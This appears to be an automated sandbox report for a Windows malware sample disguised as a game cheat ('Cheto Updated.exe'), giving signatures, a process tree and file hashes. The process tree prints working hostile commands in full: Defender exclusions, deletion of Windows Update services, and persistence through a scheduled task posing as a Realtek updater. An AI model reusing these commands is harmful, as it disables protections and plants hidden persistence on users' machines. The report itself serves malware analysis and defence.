Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    296s
  • max time network
    316s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    01/02/2023, 18:38

General

  • Target

    Cheto Updated.exe

  • Size

    4.8MB

  • MD5

    dd6c66d5250437db33b821f5d2c90aa2

  • SHA1

    b3be3c2a7455d89cfec2fdbaf93a9f8ebcf4a406

  • SHA256

    2e0f2a82868cc31985e9b8c022f852919033c666382aaa3026c456b9c449db3d

  • SHA512

    98583056619c30c732889959a69a50e43553f745193e9da5ac8b8c84b1457d7019868dd62f64060bada9392b60cbd3a4e09af54ae8380fa8388a7e561a4625da

  • SSDEEP

    98304:Kmz0W3de75qz67ThdyKBj/rhLdaH+Cn5S4YztVm5BppzAaWMr:dzz3detq23hIKBzVxGA4Y3sBTzWMr

Score
10/10

Malware Config

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 3 TTPs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 5 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 10 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1208
      • C:\Users\Admin\AppData\Local\Temp\Cheto Updated.exe
        "C:\Users\Admin\AppData\Local\Temp\Cheto Updated.exe"
        2⤵
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1680
        • C:\Users\Admin\AppData\Roaming\conhost_8.exe
          "C:\Users\Admin\AppData\Roaming\conhost_8.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          PID:1360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1488
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1320
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:1020
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:1588
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:680
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:1236
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:1264
        • C:\Windows\System32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
          3⤵
            PID:1812
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
            3⤵
              PID:772
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
              3⤵
              • Modifies security service
              PID:2024
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
              3⤵
                PID:1304
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                3⤵
                  PID:1800
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ghggx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Realtek' /tr '''C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek" /t REG_SZ /f /d 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe' }
                2⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:572
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn Realtek /tr "'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe'"
                  3⤵
                  • Creates scheduled task(s)
                  PID:2000
              • C:\Windows\System32\cmd.exe
                C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2032
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -hibernate-timeout-ac 0
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1156
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -hibernate-timeout-dc 0
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1696
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -standby-timeout-ac 0
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1100
                • C:\Windows\System32\powercfg.exe
                  powercfg /x -standby-timeout-dc 0
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:432
              • C:\Windows\explorer.exe
                "C:\Windows\explorer.exe"
                2⤵
                  PID:928
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hxfqxya#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Realtek" } Else { "C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe" }
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1824
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /run /tn Realtek
                    3⤵
                      PID:1732
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                    2⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1344
                  • C:\Windows\System32\cmd.exe
                    C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1764
                    • C:\Windows\System32\sc.exe
                      sc stop UsoSvc
                      3⤵
                      • Launches sc.exe
                      PID:980
                    • C:\Windows\System32\sc.exe
                      sc stop WaaSMedicSvc
                      3⤵
                      • Launches sc.exe
                      PID:1436
                    • C:\Windows\System32\sc.exe
                      sc stop wuauserv
                      3⤵
                      • Launches sc.exe
                      PID:1328
                    • C:\Windows\System32\sc.exe
                      sc stop bits
                      3⤵
                      • Launches sc.exe
                      PID:1872
                    • C:\Windows\System32\sc.exe
                      sc stop dosvc
                      3⤵
                      • Launches sc.exe
                      PID:1236
                    • C:\Windows\System32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                      3⤵
                        PID:1620
                      • C:\Windows\System32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                        3⤵
                          PID:1628
                        • C:\Windows\System32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                          3⤵
                            PID:772
                          • C:\Windows\System32\reg.exe
                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                            3⤵
                              PID:1108
                            • C:\Windows\System32\reg.exe
                              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                              3⤵
                                PID:1592
                            • C:\Windows\System32\cmd.exe
                              C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1724
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -hibernate-timeout-ac 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1996
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -hibernate-timeout-dc 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1312
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -standby-timeout-ac 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1768
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -standby-timeout-dc 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:880
                            • C:\Windows\System32\conhost.exe
                              C:\Windows\System32\conhost.exe sboqxcyz
                              2⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1800
                            • C:\Windows\System32\cmd.exe
                              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                              2⤵
                              • Drops file in Program Files directory
                              PID:660
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic PATH Win32_VideoController GET Name, VideoProcessor
                                3⤵
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:548
                            • C:\Windows\System32\cmd.exe
                              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                              2⤵
                              • Drops file in Program Files directory
                              PID:1972
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe"
                              2⤵
                              • Enumerates system info in registry
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of SendNotifyMessage
                              PID:1836
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef4ec4f50,0x7fef4ec4f60,0x7fef4ec4f70
                                3⤵
                                  PID:1796
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1056 /prefetch:2
                                  3⤵
                                    PID:1068
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1304 /prefetch:8
                                    3⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:948
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1684 /prefetch:8
                                    3⤵
                                      PID:364
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2020 /prefetch:1
                                      3⤵
                                        PID:680
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2076 /prefetch:1
                                        3⤵
                                          PID:1704
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2828 /prefetch:8
                                          3⤵
                                            PID:2120
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3280 /prefetch:2
                                            3⤵
                                              PID:2224
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
                                              3⤵
                                                PID:2276
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3668 /prefetch:8
                                                3⤵
                                                  PID:2352
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3680 /prefetch:8
                                                  3⤵
                                                    PID:2360
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1528 /prefetch:8
                                                    3⤵
                                                      PID:2480
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=724 /prefetch:8
                                                      3⤵
                                                        PID:2536
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3692 /prefetch:8
                                                        3⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:2656
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1896 /prefetch:8
                                                        3⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:2736
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3248 /prefetch:8
                                                        3⤵
                                                          PID:2744
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1924 /prefetch:8
                                                          3⤵
                                                            PID:2816
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3040 /prefetch:8
                                                            3⤵
                                                              PID:2856
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3080 /prefetch:8
                                                              3⤵
                                                                PID:2864
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3164 /prefetch:8
                                                                3⤵
                                                                  PID:3040
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
                                                                  3⤵
                                                                    PID:1700
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1036,11005322787003113220,3930497220018380001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3240 /prefetch:8
                                                                    3⤵
                                                                      PID:1964
                                                                  • C:\Windows\explorer.exe
                                                                    "C:\Windows\explorer.exe"
                                                                    2⤵
                                                                      PID:1984
                                                                  • C:\Windows\system32\taskeng.exe
                                                                    taskeng.exe {F413D0A9-B06B-4762-95BA-5A69CB86818C} S-1-5-18:NT AUTHORITY\System:Service:
                                                                    1⤵
                                                                    • Loads dropped DLL
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:1756
                                                                    • C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe
                                                                      "C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe"
                                                                      2⤵
                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                      • Executes dropped EXE
                                                                      • Suspicious use of SetThreadContext
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:1372
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ghggx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Realtek' /tr '''C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek" /t REG_SZ /f /d 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe' }
                                                                        3⤵
                                                                        • Drops file in System32 directory
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2004
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn Realtek /tr "'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe'"
                                                                          4⤵
                                                                          • Creates scheduled task(s)
                                                                          PID:1404
                                                                  • C:\Windows\system32\AUDIODG.EXE
                                                                    C:\Windows\system32\AUDIODG.EXE 0x558
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1520
                                                                  • C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe
                                                                    "C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"
                                                                    1⤵
                                                                    • Drops file in Program Files directory
                                                                    PID:2932
                                                                    • C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2932_2076870375\ChromeRecovery.exe
                                                                      "C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2932_2076870375\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={83812cae-e607-4e96-b4b4-4b74863fe8ac} --system
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:2976

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v6

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2932_2076870375\ChromeRecovery.exe

                                                                    Filesize

                                                                    253KB

                                                                    MD5

                                                                    49ac3c96d270702a27b4895e4ce1f42a

                                                                    SHA1

                                                                    55b90405f1e1b72143c64113e8bc65608dd3fd76

                                                                    SHA256

                                                                    82aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f

                                                                    SHA512

                                                                    b62f6501cb4c992d42d9097e356805c88ac4ac5a46ead4a8eee9f8cbae197b2305da8aab5b4a61891fe73951588025f2d642c32524b360687993f98c913138a0

                                                                  • C:\Program Files\Google\Libs\g.log

                                                                    Filesize

                                                                    198B

                                                                    MD5

                                                                    37dd19b2be4fa7635ad6a2f3238c4af1

                                                                    SHA1

                                                                    e5b2c034636b434faee84e82e3bce3a3d3561943

                                                                    SHA256

                                                                    8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

                                                                    SHA512

                                                                    86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

                                                                  • C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe

                                                                    Filesize

                                                                    1.6MB

                                                                    MD5

                                                                    df5269f4c185bc0bb9cbee52ae862ec0

                                                                    SHA1

                                                                    9638ce72d4320a9ee2beb90f586ce797af81699b

                                                                    SHA256

                                                                    8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

                                                                    SHA512

                                                                    fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

                                                                  • C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe

                                                                    Filesize

                                                                    1.6MB

                                                                    MD5

                                                                    df5269f4c185bc0bb9cbee52ae862ec0

                                                                    SHA1

                                                                    9638ce72d4320a9ee2beb90f586ce797af81699b

                                                                    SHA256

                                                                    8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

                                                                    SHA512

                                                                    fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\RecoveryImproved\1.3.36.141\Recovery.crx3

                                                                    Filesize

                                                                    141KB

                                                                    MD5

                                                                    ea1c1ffd3ea54d1fb117bfdbb3569c60

                                                                    SHA1

                                                                    10958b0f690ae8f5240e1528b1ccffff28a33272

                                                                    SHA256

                                                                    7c3a6a7d16ac44c3200f572a764bce7d8fa84b9572dd028b15c59bdccbc0a77d

                                                                    SHA512

                                                                    6c30728cac9eac53f0b27b7dbe2222da83225c3b63617d6b271a6cfedf18e8f0a8dffa1053e1cbc4c5e16625f4bbc0d03aa306a946c9d72faa4ceb779f8ffcaf

                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                    Filesize

                                                                    7KB

                                                                    MD5

                                                                    d5964473714226570dfb30e8c415cce0

                                                                    SHA1

                                                                    9ffa3375150c2efb2c2207de729d606d98f4693d

                                                                    SHA256

                                                                    3578b61ab311886b63406916b06b22cda7b56656d13e8a620aae3f9c24e1a7ff

                                                                    SHA512

                                                                    b0e71e545f7f10c6197caa3c3b2e6149f52c4c537538341831280e293091a2f991041f1aaf008e8e6287ff44e5e23dad21104cd6659af757efb91055cdec7422

